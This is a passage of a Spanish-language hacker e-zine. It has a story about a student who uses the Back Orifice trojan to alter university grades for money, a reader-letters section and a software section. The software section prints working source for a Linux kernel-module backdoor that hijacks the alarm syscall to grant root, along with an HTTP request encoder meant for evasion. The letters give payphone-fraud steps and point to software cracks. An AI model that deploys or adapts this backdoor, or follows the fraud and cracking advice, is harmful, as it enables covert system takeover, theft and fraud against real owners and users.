  que es facil de usar y empieza a maquinar como puede el meter el BO Server
  en la computadora de Control de Estudios para poder llevar acabo su plan
  malefico, el se da cuenta que las mujeres que trabajan en ese departamento
  no saben usar las computadoras y todo el tiempo se las pasan da~adas y todo
  lo demas. El se hace amigo de unos de los Admins de la Red y un dia...
  
  <Admin1> Epale Cheo, como esta todo?,
  <Cheo> Bien y tu?
  <Admin1> Chevere, mira y eso que hacer por aqui?
  <Cheo> Pues pasaba a saludar y a ver como estan las cosas
  <Admin1> Pues bien, lo unico malo es que estoy atareado de trabajo y
           no te puedo atender ahorita.
  <Cheo> No te preocupes....
  
  Y en eso suena el telefono
  
  Ring ... Ring ... Ring ... Ring ... Ring ...
  
  <Admin1> Espera un momento cheo, alo, con quien hablo?
  <MariaPerez> Hola Admin1, soy Maria, la de Control de Estudios, es para 
               ver si puedes venir porque la computadora no me esta 
	       imprimiendo.
  <Admin1> Oye, de verdad no puedo ahora porque estoy muy ocupado.
  <MariaPerez> Pero es que es urgente.
  <Admin1> Espera un momento, Cheo tu sabes de computacion?.
  <Cheo> Si, pues mas o menos.
  <Admin1> Hazme el favor y vas a control de estudios y le chequeas la 
           impresora a Maria.
  <Cheo> Si claro, dame los drivers de la impresora para llevarmelos a ver si
         es eso lo que esta fallando.
  <Admin1> Ok, toma pero ve rapido.
  <Cheo> Ok, nos vemos ahora.
  <Admin1> Gracias Cheo, yo despues te pagare el favor.
  <Cheo> Tranquilo, que ya me pagastes el favor.
  <Admin1> Que dijistes cheo, no te escuche.
  <Cheo> No nada, que tengas un buen dia.
  
  Cheo sale corriendo y se va a contro, de estudio, pero antes de eso se va a
  la computadora donde bajo el BO y lo copio en un diskete. Luego que llega
  a control de estudios:
  
  <Cheo> Buenas Tardes.
  <MariaPerez> Buena, Admin1 llamo y me dijo que tu ibas a venir a reparar la
               impresora.
  <Cheo> Si, dejeme revisar.
  <MariaPerez> Ok.
  
  En eso el mete el diskete, ejecuta el BO Server, saca el diskete y empieza
  a revisar la impresora. Lo que tenia esa impresora era que el cable LPT 
  estaba mal conectado y por eso no imprimia, luego se va al Laboratorio de
  Computacion, especificamente a la maquima donde estaba el BO Cliente y lo
  ejecuta, el como no le dio tiempo de revisar que IP tenia la maquina de 
  Control de Estudios empezo a escanear la red completa y buscando la maquina
  que tubiera el puerto del BO Server Abierto, por alla consiguio la IP
  
  <Cheo> Haaaaaa, por fin la consegui, ahora si me voy a hacer riquillo.
  
  El empieza a jurungar el BO cliente y se da cuenta que tiene un opcion de 
  Bajar Archivos atravez de servidor ademas se da cuenta de que la database 
  esta hecha en Fox Pro, era una ventaja para el porque en la computadora
  donde el estaba tenia instalado el Fox Pro, asi que se bajo la base de
  datos de los alumnos regulares a la maquina, y penso:
  
  <Cheo> Voy a probar cambiando la nota de mi peor enemigo, voy a hacer que
         le quede una materia para ver, si funciona pues me hare millonario.
   
  Asi que le cambio la nota a Monchi, su peor enemigo, y luego volvio a subir
  la database a la maquina de Control de Estudios.
  
  Al los dias despues que se termino el semestre, monchi fue a buscar las 
  notas finales y ve en el reporte que matematicas 40 la habia aplazado con
  7 puntos, el de dio mucha rabia pero no puso el reclamo, luego el ve a Cheo
  y le dice:
  
  <Monchi> Epa Cheo, cuanto te dio matematicas 40
  <Cheo> 18 Puntos y a ti?
  <Monchi> Maldito nerd de mierda, yo reprobe con 7 puntos.
  
  En ese momento Cheo pone una cara de felicidad y penso: Funciona, Funciona
  los estupidos esos no se dieron cuenta que yo modifique las notas, ahora si
  es verdad que voy a volverme rico.
  
  Luego de hacer varias cositas, cheo, espero un tiempo en el nuevo semestre
  y se reunnio con cada uno de los Vagos de la universidad, si, esas personas
  que van a la universidad a hacer nada y les dijo que el podia hacer que los
  profesores se apiadaran de ellos y le aprobaran la materia pero que eso
  le costaba dinero en efectivo, uno de ellos les pregunto:
  
  <Vago1> Cuanto me costara eso?
  <Cheo> Eso te cuesta alrededor de 100.000 Bs por Materia.
  <Vago> Ok, tranquilo yo los busco pero si no paso la materia te mando a 
         matar.
  <Cheo> Tranquilo Man eso es seguro porque es seguro.
  
  Asi estubo varios a~os, falsificando las notas y gracias a un troyanito, el
  unico inconveniente era que cuando le pasaban el antivirus pues borrraba el 
  BO Server pero el buscaba una u otra forma de instalarlo de nuevo.
  
  Un dia, llega una chica, la mas linda de la universidad y le dice:
  
  <BeatifulWoman> Mira Cheo, me han dicho que tu eres un mago para convencer
                  a los profesores, sera que tu pueden convencer al profesor
		  de eletricidad 1 para que me pase la materia?
  <Cheo> Claro que si belleza, pero eso te costara dinero.
  <BeatifulWoman> De cuanto estamos hablando?
  <Cheo> De unos 120.000 Bs por materia.
  <BeatifulWoman> Pero no tengo dinero, sabes, tu eres muy guapo, te gustaria
                  que pasaramos una noche caluroza y salvaje nosotros dos 
		  solitos?
  
  Cheo era virgen, el entro en estado de Shock porque la mujer mas bella y
  hermosa de la universidad le hiba a pagar cada materia con Sexo, puro 
  Sexo, entonces ...
  
  <BeatifulWoman> Cheo, que dices? Si o No.
  
  Un minuto despues ..
  
  <BeatifulWoman> Que te pasa cheo, eres gay o que? porque no me respondes?
  <Cheo> Sisisis, claro, en donde?, cuando?, como?
  <BeatifulWoman> No, eso lo decides tu, busca tu el lugar, la hora y el dia
  <Cheo> Ok, que te parece hoy, aqui en los ba~os de la Universidad despues 
         de las 11.00 p.m
  <BeatifulWoman> Aja, y como vamos a hacer para salir?
  <Cheo> Tranquila, yo hablo con el Vigilante y el de seguro que me da permiso.
  <BeatifulWoman> Ok. Nos vemos ahora amor, no se te olvide 15 Puntos para
                  la materia de Electricidad 1
  <Cheo> Si te portas bien sera 17 puntos.
  <BeatifulWoman> Ok, Chao amor.
  <Cheo> Chao.
  
  Cheo era el hombre mas feliz en la tierra, tenia a la mujer mas linda
  en sus brazos y ademas su cuenta corriente en el banco superaba los 10 
  Millones de Bs [*]. Que mas podia pedir?.
  
  Esa noche el hablo con el vigilante de turno, su nombre era Jose. El llego
  a eso de la 10.00 P.M y ...
  
  <Cheo> Que dice Jose, como ta la vaina
  <Jose> Pelua y colgando, jejeje, como esta todo?
  <Cheo> Vengo a pedirte un grandisimo favor, necesito que me hagas la segunda
         esta Noche.
  <Jose> Aja, dime en que te puedo ayudar?
  <Cheo> Necesito que me dejes entrar a los ba~os hoy a eso de las 11:00 P.M
         porque me quede en encontrar con una chica.
  <Jose> No pana, no te puedo hacer esa segunda porque me pueden botar del
         trabajo si me pillan que estoy metiendo gente de noche a la 
	 universidad.
  <Cheo> Vamos a hacer una cosa, cuando yo pueda te paso una buena tajada de
         dinero y tu te quedas callado, lo que sucede es que no tengo dinero
	 en efectivo ahorita y es de urgencia, no ves que ella me va hacer
	 los favores esta noche?.
  <Jose> Bueno, si es asi pues trato hecho, eso si, trata de que no te vea
         nadien.
  <Cheo> Ok, Gracias.
  <Jose> Tranquilo, para eso son los amigos.
  
  Esa noche llega BeatifulWoman a la universidad, a las 11 en Punto. Cheo
  estaba muy nervioso porque era su primera vez. Ella llega y se le acerca
  en un arbol, donde el estaba escondido y le dice:
  
  <BeatifulWoman> Listo mu~ecote.
  <Cheo> Claro Bombomcito.
  
  Y grita
  
  <Cheo> Jose, Jose, JOSEEEEEE, Ya llegamos, Abre la puerta.
  <Jose> Voy voy voy, nojoda no me dejaron echar la cagadita nocturna. Pasen
         rapido.
  <BeatifulWoman> Buenas noches Sr. Jose.
  <Jose> Buenas noches Mamasota
  <BeatifulWoman> Vulgar.
  <Jose> Zorra.
  
  Era lo convenido, ella se fue al ba~o a cambiarse mientras Cheo se quedaba
  hablando con Jose en la recepcion, Jose le dice a Cheo:
  
  <Jose> Toma mijo, aqui tienes un preservativo, uno no sabe que enfermedad
         puede tener la puta esa.
  <Cheo> Gracias, del apuro no me quedo tiempo de comprar uno.
  
  El sale corriendo al ba~o de mujeres y lo primero que ve es a BeatifulWoman
  totalmente desnuda, como dios la trajo al mundo. Ella era blanca, ojos 
  color gris, Alta, Delgada, con unos Senos Grandes pero firmes, su silueta
  era perfecta.
  
  Ellos se juntaron y tubieron sexo durante 3 horas.
  
  La ma~ana siguiente..
  
  <Cheo> Listo, ya le acomode la Nota a BeatifulWoman. Soy el pipi de oro
         de la universidad, yuuuujaaaaaaa
  
  El lunes siguiente, muy temprano en la ma~ana, llaman a la casa de Cheo el
  Decano de la Facultad donde el estudia, diciendole:
  
  <Decano> Esta Cheo.
  <Mama_De_Cheo> Si, ya se lo paso ... Cheo, telefono.
  <Cheo> Alo, quien es?
  <Decano> Mira cheo, soy el decano de tu facultad, tienes una citacion por
           da~os a la moral y perdida de buenas costumbres. Debes veniar a 
	   arreglar este problema YA, porque sino quedaras expulsado de la
	   universidad.
	   
  Cheo sale volado para la universidad y llega directo al decanato. El pensaba
  que lo habian pillado con la cuestion de falsificar las notas. El entra a la
  Oficina del decano y dice:
  
  <Cheo> Buenos dias
  <Decano> Buenos dias.
  <Cheo> Que sucede Sr.?
  <Decano> Esta ma~ana he visto los videos del fin de semana y tu apareces
           en uno haciendo el amor en los ba~os de mujeres con la Srta 
	   BeatifulWoman. Tu crees que la universidad es un hotel que?
  ....

  Cheo esta muy asustado porque de verdad a el lo podian expulsar de la
  universidad, el de solo pensar que si lo expulsaban sus padres lo podrian
  colgar de cabeza a bajo, lo asotarian con un cuero y luego lo ba~arian
  con agua con sal, ademas, el descubrio que toda la escuela tenias camaras
  escondidas; en el decanato, en los labs, en los ba~os, en el cafetin, etc. 
  La jarta del Decano sigue y le ponen una sancion de un mes sin poder entrar
  a clases ni presentar examenes. Tambien llamaron a BeatifulWoman y la
  sancionaron, mientras que a Jose lo botaron del trabajo.
  
  Cheo seguia falsificando las notas, ademas de crackear tarjetas de credito
  y hacer compras en la red, hasta que un dia ....
  
  <PTJ> Bueno dias, Soy el PTJ Pedro, estoy encargado de investigar un fraude
        de un grupos de tarjetas de creditos. Soy jefe de la brigrada anti
	Pirateria y la gente del FBI me ha pasado el pitazo de que un grupo
	de estudiantes estan comprando cosas con trajeta de credito 
	falsificadas, ya tenemos la localizacion de donde llegan los paquetes
	pero estamos buscando a la persona que hace las compras. La IP con 
	que han hecho la compra es la siguiente: 142.369.186.1, esa pertenece
	a su red?
  <Admin0> Si, esa es la de nuestro gateway, dejeme revisar los logs de mi
           gateway y yo detectare a la persona.
  <PTJ> Ok, Se le agradece, dentro de un rato paso por su oficina para 
        arreglar, el problemita.
  <Admin0> Ok, lo espero.

  El Admin0 revisa el gateway, una maquina con SmoothWall Linux como gateway, 
  entra al sistema y revisa los logs ademas de pedir el reporte de los usuarios
  del laboratorio de computacion. Entonces hizo un cruce de informacion y 
  dedujo:
  
  - Juan Perez, 35 veces sentado en la misma computadora, transmitio 60 MB de 
    informacion a la red en la maquina 31b
  - Luis Manuel Rodriguez, 82 veces sentado en la misma computadora, 3 veces
    por dia, transmitio 145 MB a la red.
  - Juana La Virgen, Bloqueo el cache del Squid por un desbordamiento de las 
    TTL's, 560 MB Bajados, entre los cuales: Como tener sexo y alcanzar la
    eyaculacion.
  - Cheo Garcia, 987 Veces este mes, en la misma maquina tramistio 54 GB de 
    Informacion, ademas de bajar Nukes, MailBombers, NetBus, BO2k.
    
  Sera que Cheo es el delincuente informatico? mmm, ese BO no me gusta para
  nada. El Admin0 llama a Admin1 y le dice
  
  <Admin0> Hazme el favor y me le pasas el antivirus a toda la red. Si 
           encuentras el BO en alguna maquina me avisas, Ok.
  <Admin1> Listo el reporte se lo tengo para dentro de dos horas.
  <Admin0> Ok, lets go
  
  Admin0 se afinca en los sitios web que habia navegado Cheo y se da cuenta
  de que el habia estado haciendo peticiones a sitios de compras de libros,
  revistas porno-gay, piezas de computacion, CD's, Piezas de Ba~o, Videos
  Pornos en Vivo, Comida, Antiguedades. El Agarra y redacta el informe de 
  todos los sitios de compra que tenia el guardados en el LOG mas todas las 
  transacciones del las persona sospechosas. Luego de unas horas ...
  
  <Admin1> Listo jefe, encontre en la maquina 31b, 02a y 96c el BO cliente y
           en la otra red encontre solo el BO Server en la Maquina de Control
	   de Estudio.
  <Admin0> Queeeeee, nojoda, sacame la maquina esa de la red mientra se le 
           hace un analisis exaustivo porque si mis sospechas son ciertas hay
	   alguien que esta cambiando las notas de los alumnos. Ve rapido.
  <Admin1> Ok, voy para alla.


  Admin0 se reune con el PTJ y le dice:
  
  <Admin0> Aqui esta la informacion que usted me pido, estudiela, si algunas
           de esas compras estan dentro de la lista de compras denunciadas 
	   me avisa, Ok.
  <PTJ> Ok, donde estan los nombres de la personas?
  <Admin0> En la Hoja de atras.
  <PTJ> Ok, Gracias por su cooperacion.
  
  El PTJ se pone a estudiar el reporte que le ha dado el Admin0 y se da 
  cuenta de que Cheo Garcia es el que hizo las compras con la tarjetas de
  creditos crackeadas, inmediatamente busca en su base de datos el numero
  de cedula del sospechoso la direccion de la vivienda y envia un reporte 
  a todos los bancos del pais (y fuera de el) para ver si este muchacho 
  tiene alguna cuenta bancaria donde guarda el dinero de sus malversaciones.
  
  Uno de los bancos le da un reporte de que Cheo Garcia tiene una cuenta 
  corriente pero no esta solo a nombre de el sino de otra persona, es persona
  es su mejor amigo, Luis Gutierrez, con 22 a~os de edad y fue el que aperturo
  la cuenta con 50.000 Bs. y luego de dos a~os y tres meses tiene 11.500.620
  Millones de bolivares en la cuenta bancaria, sin ningun retiro ni por tarjeta
  de debito, ni por libreta ni por Chequera. Automaticamente el PTJ manda una
  brigada de 10 personas, 5 que van para la casa de Luis Gutierrez y 5 para
  la de Cheo Garcia, con una citacion de arresto. A Luis le caen de sorpresa
  y lo llevan a la jefatura pero de Cheo no se sabe nada.
  
  Pasaron varios dias hasta que dan con el paradero de Cheo, el estaba en la
  casa de la abuela en las afueras de la ciudad, en un pueblo lejano y 
  solitario. Lo lleva la jefatura, lo interrogan y el, gracias al miedo 
  confiesa de que el si habia hecho esas compras, luego lo pasan a una carcel
  de Menores mientras un Tribunal de Menores pone la sentecian de Juicio. 
  Mientras que ...
  
  <Admin0> Donde esta la maquina de control de estudios.
  <Admin1> Aqui esta, he revisado la base de datos de las notas y si han sido
           alteradas, esto es gracias a unos reportes de notas que tenian
	   algunos profesores, en los cuales las notas no concordaban con
	   las que estaban el la base de datos.
  <Admin0> Bueno, revisa quienes son los que aparecen con las notas alteradas
           para pasarle la lista a la PTJ, ellos se encargaran de investigar
	   esto mas a fondo.
  
  El Listado fue pasado a la PTJ donde llamaron a los que tenian problemas con
  las notas, muchos de ellos declararon de que le pagaron a Cheo una gran suma 
  de dinero con concepto de que le aprobaran la materia. Luego la universidad
  presenta una demanda contra Cheo Garcia por estafa y alteracion de datos
  privados. La corte sentencia a Cheo Garcia a 19 a~os de carcel en el
  Dorado sin derecho a libertad condicional (despues que cumpliera la mayoria
  de edad).
  

<EOF>

-[ 4x14.txt ]----------------------------------------------------------------
-[ Comentarios, Sugerencias, Otros ]-------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ staff@otv.org.ve ]-

<1>

From: METALKILLER <METALKILLER@xxxxx.es>
 
Saludos al Staff de 0ri0n por el aniversario y que continuen por 
mucho
 tiempo mas. 
     
[ Gracias ]
     
Hace poco me entere de su existencia en el mundo del 
hack
 nacional, 
meses atras ya habia conocido Hven Team y su proyecto 
HVLinux,
 entre a 
su pagina y me baje los 3 numeros de la ezine; esto me 
 motivo
 para 
escribirles dandoles apoyo y la colaboracion que estuviera 
a mi
alcance, pero al parecer el grupo no esta activo actualmente o 
estaran
ocupados en sus deberes personales, ya que no recibi respuesta 
alguna,
ni se ve movimiento en su pagina. 
     
[ Bueno, Hven ha sufrido muchisimos cambio pero siguen vivos. HVLinux
  de verdad que no se decirte si esta vivo todavia porque DX se perdio
  del mapa y el era el developer/creador de esta mini-distribucion de
  Linux ]    
          
=(

Pero alli, me entere de 0ri0n Team, asi que decidi escribirles a 
Uds.
 para seguir apoyando el hack nacional. 
 
[ Thx ]
     
He visto su pagina y 
tiene
 buen estilo al igual que la ezine. =)
     
[ Thx^2 ]
     
Yo tengo poco tiempo en esto de la informatica y bastante poco 
tiempo
 en el arte del hack. Hace a~o y medio aproximadamente conoci
Linux
 y lo instale (EsWare 1.1) la version espa~ola de Red Hat 5.0 que 
venia
 en la Revista PC-Actual, y asi fui poco a poco conociendo el 
mundo de
  un Unix, me entusiasme tanto que conte la vivencia a 
amigos y
 compa~eros de estudio y entonces se preguntaron: 

LINUX???,
     
Que es eso?.... bueno, les explique que era un S.O. basado en Unix
pero con Licencia Gratuita y era competidor con el S.O. de Moco$oft
por ser mas estable, mas eficiente y seguro, y que creen?... 
NADIE,
 absolutamente NADIE se intereso en el.

[ Que mierda, bueno, ellos se lo pierden ]

Asi que empece a buscar la informacion referente al S.O. donde 
estaba a mi alcance y el CD de la revista incluia entonces la Linux 
Gazette en donde casualmente vi un mail que envio D0ct0r-X a la revista,
que mencionaba a HVEN Team y su proyecto con Linux, y asi  empezo mi
interes en el hack y aqui estoy, ofreciendo apoyo y buscando 
ayuda
(cuando la necesito) en los grupos nacionales de hack.

[ Con el staff de 0ri0n puedes contar para lo que sea (menos robos, 
asesinatos, etc) simpre estaremos alli para ayudar en lo que necesites. ]

Viendo el panorama nacional respecto al interes de la gente 
por la informatica puedo confirmar que muchos compatriotas 

[ No digas compatriotas que eso suena a politica, di Compa~eros ]
son realmente tarados, que les gusta conformarse con un S.O. tan 
nefasto como lo es Windoze, que solamente es famoso por el nombre, 
porque en si no es mas que una ?interfaz operativa que consume cada 
vez mas recursos fisicos y economicos? por una prestacion tan 
deficiente...
     
[ Esas son las palabras mas decentes que he escuchado sobre la opinion
  de que es Windows =) ]

Ya me entere que el Win XP posee hasta la fecha al menos 20 
bugs y uno de estos afecta las IRQ del sistema. Asi que los hechos 
demuestran  que el Windead es un S.O. inacabado y sale al mercado a 
precios astronomicos para que el usuario final lo ?remiende? con 
parches chimbos que al final saturan su funcionamiento.
 
[ Asi es, si Microsoft pusiera un poquito mas de amor en el momento
  de hacer cualquier software/SO la cosa fuera diferente ]
     
Bueno, voy a dejar de hablar pestes de Moco$oft (es que necesitaba
descargar la arrechera!). 
     
[ Jajajaja, a mi tambien me ha pasado, siempre me descargo con el
  que menos tiene que ver en el problema ]
     
En fin, de ahora en adelante voy a tratar de mantener contacto con 
Uds. cuando el tiempo (y el bolsillo) lo permitan, tengo un gran 
interes en seguir aprendiendo todo lo relacionado al underground 
informatico, colaborar con la revista cuando tenga algun articulo
propio o traduzca alguno interesante (porque no me gusta eso de
andar copiando y pegando un articulo ajeno y poniendo el nick en
el), ya que se que cualquier hacker ?trata de ser lo mas original 
posible?.
     
[ Asi deberia ser, si escribes uno, nos los envias y nosotros lo 
  publicamos ]
     
Me gustaria saber si en Venezuela el phreacking se mueve, si se 
puede
 joder a la poderosa CANTV con sus telefonos publicos. 
     
[ Si, en estos momentos estan naciendo personas que estan de lleno
  con el Phreaking, no son conocidos y tampoco son muchos pero si hay 
  (echale un ojito a la seccion de telefonia) ]
     
Yo creo 
que ya es hora de acabar con su monopolio aunque se que siguen en 
apertura
 (pero se retiro AEs de la compra) lo que quiere decir que esto 
va a
 tardar mucho mas de lo que se esperaba.
     
[ Cantv morira con su propio pu~al, ellos estan abusando de la tarifas
  pero dentro de 6 meses (aprox) emepzaran a llegar compa~ias de tlf
  y emepzara la libre competencia entre compa~ias, yo se que las personas
  obtaran por mejores servicios a precios mas accesible ]
     
  Por ultimo, (no quiero alargar mas esto) mi nick es M3t4lk1ll3r,
  tengo 20 a~os, vivo en Guayana y estudio en La Unexpo Ing. Mecanica.
 
[ Hacker Mecanico? heheh, bueno, ya se a quien llamar cuando a mi papa
  se le da~e el carro ]

Pronto les mandare algo a la revista (aunque sean chistes), pero
prometo que estare aportando ideas, comentarios, conocimientos 
a la comunidad Hack nacional y mundial porque aqui no existen fronteras.

Se me olvidaba contarles que hace tiempo planeaba montar una especie
de portal nacional con toda la informacion posible de linux, pero
viendolo ahora creo que esta deficiente, lo iba a llamar Proyecto
GNomadUs Linux (GNU/LINUX). No se si lo haga, porque vi que era una
forma de divulgar y dar a conocer este nuevo S.O. en nuestro 
pais, 
     
[ Le hace falta, la gente de VELUG hace un buen trabajo por Linux en 
  Venezuela pero hace falta mas ... por lo menos educar a la gente de
  que SI HAY Sistemas Operativos Verdadero, Seguros, Modificables, etc ]

  para que deje de ser algo desconocido por la gente. Cualquier 
  cosa, les avisare si lo monto o no para que lo conozcan y a la vez 
  sea un mirror de su revista. 
     
[ Ok, thx ]
     
Tambien pensaba organizar una especie de Comunidad de Usuarios de 
Linux aca en Guayana, pero por ciertas cuestiones lo hice a un lado.
 
[ Mmm, no dejes para ma~ana lo que puedes hacer hoy, que esperas, hablate
  con Ernesto Hernandez-Novich y comentale que quieres formar un LUG,
  de seguro el te ayudara ]

Cualquier cosa les informare y esperare el siguiente numero de la
revista (se que tienen que trabajar duro para sacar un numero), 
asi
 que sigamos trabajando por Venezuela y por el hack nacional, 
     
[ Ya esta listo y lo estas leyendo ahora =) ]
     
ah! y queria saber que paso en realidad con HVEN? espero que no se 
hayan
 desintegrado porque necesitamos mas movimiento hack en Vzla.
     
[ No estaban muertos, estaba de parranda, hablate con 
  DkD (darkd@hven.com.ve) o Mastrax (mastrax@hven.com.ve), ellos de 
  seguro te daran mas informacion sobre Hven ]
       
Greetings!!!
     
[ Nos vemos ... ]

M3T4LK1LL3R 

<2>

Nombre: alex
E-Mail: alex@elhacker.net
Buenas,
Bueno, soy el webmaster de elhacker.net de nick el-brujo con el que he 
hablado a veces con Mr Kl0nk y elreviron y algun otro en el irc canal
#otv.

Les escribo este e-mail para informarles que he puesto un eggdrop en el dal.net con el nombre la-bruja, es para ver si le podrían hacer AOP
del #otv para que vigilara el canal todo el dia.
El bot ya está en el canal y el nick esta regitrado y todo perfecto.

Ya me comentarán algo :)

Saludos a todo el equipo

(Una pena esta semana abandonan 350cc, prehackers.com y vanhackez.com )

[ Gracias Brujo por el Bot, si que pena que hallan sucedido esas cosas ]

<3>

From: Julio Molon <juliomolon@xxxxxxx.net>
Subject: Quiero Colaborar


Muy buenas:
     
[ Guenas ]

Me dirijo a vosotros con la intencion de como ya deben saber la 
intencion de colaborar con vuestra e-zine ya que me parecio muy pero muy
buena y una de las pocas k merecen la pena en español.
     
[ Tnx ]
     
Bueno quisiera hacer un articulo, se bastante sobre los ataques D.o.S. 
y si vosotros quereis estaria muy orgulloso de hacer un articulo sobre
ese tema, respondame diciendome si quieren o no para que asi les envie 
el articulo o no.
     
Bueno, hazlo y envialo a ezine@otv.org.ve que con mucho gusto lo
procesaremos, revisaremos y si es bueno pues o publicaremos (..emos) ]

Tb quisiera hacer un mirror de su site pero mi servidor a las 10,11 de 
la noche ( hora española ) se suele caer...nose porque...pero con mucho
gusto les hago un mirror.
     
[ H4H4H4H4H4H4 Mirror de nuestro site, NO NO no queremos un mirror de 
  nuestro site sino de la la E-Zine ]
     
Un saludo
     
<4>

FROM: Andres de Jerez <andresdejerez@xxxxxxx.com>
SUBJET: Se puede CRACKEAR TODO?
     
Este programa es para leeer resonancias magneticas... PIVIEW, esta 
en: www.mediface.com, es crackeable?
 GRACIAS!!!
     
[ Pues claro que es crackeable, es mas puedes conseguirte ya el crack
  listo en astalavista.box.sk , si no lo consigues entonces aprende
  un poco de ASM y crackealo tu mismo, Ok! ]

<5>
Phreak
De: "Spunk" <Spunk30@XXXXXXXXXX.com>

Que tal amigos de ORION TEAM VENEZUELA soy de aqui de Caracas 

[ Ninguno de los de 0ri0n somos de CCS, hahaha si hay uno, elreviron ;) ]

por ahi por la calle he visto que hacen un truco en los telefonos
publicos la cosa se hace con un celular y una tarjeta de telefono
cualquira no se muy bien como se hace segun lo que se la cosa es
asi se introduce la tarjeta de telefono al reves y hasta la mitad
se marca 0800 en el telefono publico y despues se acerca el celular
hasta el receptor de voz del t.publico y se marca el numero
al que se desea llamar en el celular luego se inserta la tarjeta 
completamente el t. publico dara error de tarjeta retirar la tarjeta 
y el t.publico da tono se marca el numero deseado en el t.publico.

[ Si, ya sabiamos la existencia de ese bug, el problema lo sufria los 
  Tlf azules (los que tiene la R)
  ]

Bueno todo esto es para saber si ustedes saben sobre este Bug y si es asi 
por favor hacermelo llegar o si no es para que sepan de la existencia de 
este bug y lo investiguen y los publiquen.
Gracias.


Spunk30@latinmail.com

<6>

Comentario o Sugerencia
De: "KeRuBin" <info@xxxxxxxxx.com>

Amigo, 

[ Hi ]

Antes que nada un saludo desde Rosario... estoy diseñando el sitio, pegate 
una vuelta cuando quieras y me das tu opinion.

[ Si es el de 70 Semanas pues te comento que ya me pase por alli y esta muy
  bueno, si es otro tienes que enviarme el URL, Ok ]

Por otro lado quiero pedirte que me incluyas [si te parece bien] en tu 
lista de links.

[ Y estas incluido desde hace tiempo en la lista de Links ]

Sin compromiso..

[ Siempre sera un compromiso ... ]

Saludos!!!!!
Tu amigo rosarino  KeRuBiN


<7>

Consulta
De: "Alejandro Niño S." <anino@zzzzzz.cl>

Hola me llamo Alejandro Niño y les escribo desde Chile:
Me han prestado (mi jefe) un programa llamado Ram advanse que utiliza 
una llave de seguridad en el puerto donde se conecta la impresora. Tengo 
entendido que se puede burlar esta seguridad, me gustaria saber si alguien
puede realizar este trabajo, para poder compartir con todos este tremendo
programa de Analisis y Diseño Estructural.

[ Heh, si por mi fuera me pondria a hacer Cracks para Software pero lo que
  sucede es que no me queda mucho tiempo libre para ponerme en esas. De 
  todas formas dejame hablar con el pana inouttime que ese es un duro 
  con asm, hex ed ]

Les cuento que llege a esta pagina porque me descarge de una pagina china
el programa ETABS nonlinear v8.0 beta, y en el crack dice : 

\"  Team [ORiON]   \"  

y me puse masque rapido a ver si encontraba al equipo Team ORiON.

[ De verdad tengo entendido que ninguno de 0ri0n esta en la onda de crear 
  cracks, o quien quita que hallan sido otros ORION TEAM ]



<EOF>

-[ 4x15.txt ]----------------------------------------------------------------
-[ Seccion de Software ]-------------------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ staff@otv.org.ve ]-

  En esta seccion estara el software que se comente en cada uno de los 
  articulo del e-zine.


[++] c0de/umask.c

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <asm/segment.h>
#include <asm/unistd.h>
#include <linux/dirent.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>

#include <linux/sched.h>

#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/kernel.h>

extern void* sys_call_table[];

unsigned int (*old_alarm) (unsigned int seconds);
unsigned int hacked_alarm (unsigned int seconds);

unsigned int hacked_alarm(unsigned int seconds)
{
           if(seconds == 454) {
                current->uid = 0;
                current->euid = 0;
                current->gid = 0;
                current->egid = 0;
                return 0;
            }
   return old_alarm(seconds);
}

int init_module(void) {
 old_alarm=sys_call_table[SYS_alarm];
 sys_call_table[SYS_alarm] = hacked_alarm;
 return 0;
}

void cleanup_module(void) {
   sys_call_table[SYS_alarm] = old_alarm;
}

[++] c0de/umask-client.c





[++] hardcoding/hardcoding.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>


// Hardcoding by: |balrog| -
 balrog@undersec.com
// Articulo 4x10.txt

int main (int argc, char **argv)
{

        int longitud;
        int indice;

        if (argc <= 1)
        {
           printf ("Error de Sintaxis:\n");
           printf ("     %s [cadena]\n",argv[0]);
           exit(0);
        }

        longitud=strlen(argv[1]);
        printf ("GET /");
        for (indice=0;indice<longitud;indice++)
        {
           printf ("\%%");
           printf ("%x",argv[1][indice]);
        }
        printf(" HTTP/1.0\n\n");
        return 0;
}

[--]
  

[++] mysql/adminmysql.php

<?PHP

/************************************************************************/
/* Administrador de Usuarios en MySQL                                   */
/* ----------------------------------                                   */
/* Copyright (c) 2001 by Mr. kl0nk Manson (kl0nk at otv.org.ve)         */
/* http://www.otv.org.ve                                                */
/*                                                                      */
/* This program is free software. You can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software Foundation; either version 2 of the License.       */
/************************************************************************/

// Version Inestable 0.1.1

?>

<HTML>
<TITLE>Agregador de Databases con Permisos</TITLE>
<BODY bgcolor="FFFFFF" color="#000000">

<?PHP

function Conectar() {

    ###########################
    # Definicion de Variables #
    ###########################

    $hostname = "localhost";  # El Hostname donde esta el Servidor de la DB
    $usuario  = "root";       # El Usuario/Due~o de la DB / NO MODIFICAR
    $password = "PASSWD";     # El Password de la DB
    $database = "mysql";      # El Nombre de la DB / NO MODIFICAR

    mysql_connect($hostname, $usuario, $password);
    @mysql_select_db("$database") or die ("<font color=black>No se puede seleccionar la DataBase</font>");
    
}


function Opciones() {
    echo "<BR><CENTER><a href=sql.php>Index</a> - <a href=sql.php?op=Crear>Crear DB</a> -<a href=sql.php?op=Agregar>Agregar</a> - <a href=sql.php?op=Ver>Mostar Listado</a> - <a href=sql.php?op=MenuCambiarPWD>Cambiar Passwd</a></CENTER><BR><BR>\n";
}

function Paso1() {
	Opciones();
	echo "<center>"
	    ."<FORM method=\"post\" action=\"sql.php?op=Agregar1\">
\n"
	    ."<TABLE>\n"
	    ."   <TR>\n"
	    ."     <TD>Hostname   :</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"hostname\" value=\"localhost\"></TD>\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
            ."     <TD>Usuario  :</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"usuario\"></TD>\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Password:</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"password\"></TD>\n"
	    ."   </TR>\n"
	    ."</TABLE>\n"
	    ."<INPUT type=\"submit\" name=\"enviar\" value=\"Agregar informacion\">
\n"
	    ."</FORM>\n";

}

function Paso2($hostname,$usuario) {
        if (!issset($hostname)) { $hostname="localhost"; }
